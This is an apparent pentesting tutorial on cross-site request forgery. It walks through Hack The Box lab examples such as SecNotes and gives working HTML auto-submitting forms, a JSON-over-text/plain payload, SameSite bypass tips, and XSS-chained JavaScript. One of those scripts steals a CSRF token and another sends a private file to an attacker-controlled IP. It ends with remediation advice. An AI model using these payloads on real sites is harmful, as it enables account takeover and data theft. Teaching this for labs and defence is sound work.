CSRF: what it is, how to detect it and exploit it step by step
What a CSRF attack is with a real example: spot a vulnerable form, build the HTML proof of concept, get around tokens and SameSite and combine it with XSS.
A CSRF (Cross-Site Request Forgery) means getting someone else's browser, already logged into a site, to send a request you prepared: change their password or email, or create an admin user. The victim only has to open a link of yours. You do not steal their session: you use it without seeing it.
It works because the browser attaches a site's cookies to any request to that site, wherever it comes from. If the site does not check that the request came from itself, it cannot tell a user's click from a hidden form on your page.
The three conditions
For an action to be vulnerable to CSRF, all three must hold:
- An action worth doing: changing the password or email, granting permissions, making a transfer.
- The session lives only in a cookie. If the site uses an
Authorization: Bearer ...header set by JavaScript, your page cannot add it and there is no CSRF. - No parameter you cannot guess: no anti-CSRF token, no current password.
What it looks like in a CTF
In a real pentest the victim is a person; on Hack The Box it is a bot: an automated browser with an admin session that opens the links you send through a contact form, a ticket or a message. The hint is usually text like "an administrator will review your message".
The textbook example is SecNotes: a contact form read by the user tyler and a password change page with no token and no current password check.
Step 1: find the action and capture it
With Burp Suite (Community is enough) as a proxy, perform the action yourself with your own user and look at the request. For example:
POST /change_pass.php HTTP/1.1
Host: 10.10.10.97
Cookie: PHPSESSID=8u3m1h0e...
Content-Type: application/x-www-form-urlencoded
password=New123!&confirm_password=New123!&submit=submit
There is nothing you do not know: only the cookie, which the victim's browser will add.
Step 2: test the defences
Send the request to Repeater and try, one at a time:
| Test | If it works... |
|---|---|
| Remove the token parameter entirely | The site only validates it when present |
| Leave it empty or change one character | It is not validated |
| Use the token from another session of yours | It is not tied to the session |
Switch POST to GET with the parameters in the URL |
You can attack with a plain link (and get past SameSite=Lax) |
Change the Content-Type to text/plain |
Useful for CSRF against JSON APIs |
Drop the Referer header |
The origin check is optional |
On SecNotes the fourth one works: the page accepts the same parameters over GET.
Step 3: the proof of concept
If GET is enough, the attack is a link:
http://10.10.10.97/change_pass.php?password=Pwned123!&confirm_password=Pwned123!&submit=submit
If it has to be POST, build a page with a form that submits itself. Save it as index.html:
<html>
<body>
<form action="http://10.10.10.97/change_pass.php" method="POST">
<input type="hidden" name="password" value="Pwned123!">
<input type="hidden" name="confirm_password" value="Pwned123!">
<input type="hidden" name="submit" value="submit">
</form>
<script>document.forms[0].submit();</script>
</body>
</html>
Serve it from your machine and send the link to the victim (on HTB, to the bot):
sudo python3 -m http.server 80
10.10.10.97 - - [03/Nov/2026 21:40:12] "GET / HTTP/1.1" 200 -
That line on your server is the sign the bot opened your page. A few seconds later, try logging in as that user with the new password.
Tip
In Burp Suite Professional, right-click the request, Engagement tools and Generate CSRF PoC writes the form for you. With Community, the template above works for any form: add one input per parameter.
Against a JSON API
An HTML form cannot send application/json, but many APIs accept the JSON even when it arrives as text/plain. The trick is to put the JSON in the field name:
<form action="http://target.htb/api/email" method="POST" enctype="text/plain">
<input type="hidden" name='{"email":"[email protected]","x":"' value='"}'>
</form>
<script>document.forms[0].submit();</script>
The browser sends {"email":"[email protected]","x":"="}, which is valid JSON. If the API really requires Content-Type: application/json, this trick fails and you need an XSS.
SameSite: why it sometimes does not work
Modern browsers limit when cookies are sent from another site with the SameSite attribute:
| Value | Is the cookie sent from your page? |
|---|---|
None (with Secure) |
Always: classic CSRF |
Lax |
Only on top-level GET navigations (a link, window.location). A POST form does not carry the cookie |
Strict |
Never |
Chrome and Edge treat cookies that set nothing as Lax. That is why the "switch POST to GET" test matters so much today: with Lax, an action that can be done over GET is still vulnerable. On HTB many boxes use HTTP without Secure and bots set up so the attack works, but in a real pentest always check the Set-Cookie headers.
CSRF + XSS: when there is a token
If you find an XSS on the same site, the token stops being a problem: your JavaScript runs inside the site, so it can read the page, extract the token and send the request with it. That is what happens on Cat, Trickster and DarkCorp.
fetch('/settings')
.then(r => r.text())
.then(html => {
const token = html.match(/name="csrf_token" value="([^"]+)"/)[1];
return fetch('/settings', {
method: 'POST',
headers: {'Content-Type': 'application/x-www-form-urlencoded'},
body: 'email=me%40attacker.htb&csrf_token=' + token
});
});
Adjust the regular expression to the real field name (check the page source). The same idea lets you read pages only the victim can see and send them to yourself, as Cat does with a private Gitea repository:
fetch('/administrator/private-repo/raw/branch/main/README.md')
.then(r => r.text())
.then(d => fetch('http://10.10.14.5/?d=' + encodeURIComponent(d)));
How to fix it
For the report (or your own application):
- A random anti-CSRF token per session, tied to it and checked server-side on every state-changing request.
- Session cookies with
SameSite=LaxorStrict. - Never change state with
GET. - Ask for the current password to change the password or email.
- Check the
OriginorSec-Fetch-Siteheaders as an extra defence.
Common errors
- The bot never visits your page: make sure your IP is the VPN one (
ip a show tun0) and the port is free. Some bots only open links to their own domain: then you need an XSS or a GET-based CSRF. - The request arrives but nothing changes: a parameter is missing (for example the
submitbutton) or theContent-Typeis not what the site expects. Compare it byte by byte with the request in Burp. - It works when you test it, but not with the bot: the bot may open the site under another name (
localhostor a.htbdomain) and its cookie only applies to that name. Check theRefererof its visit on your server and use the same URL in the form.
What next
Tick CSRF in the web checklist and follow the Web pentesting path. The XSS and IDOR and mass assignment guides cover the flaws it is most often combined with.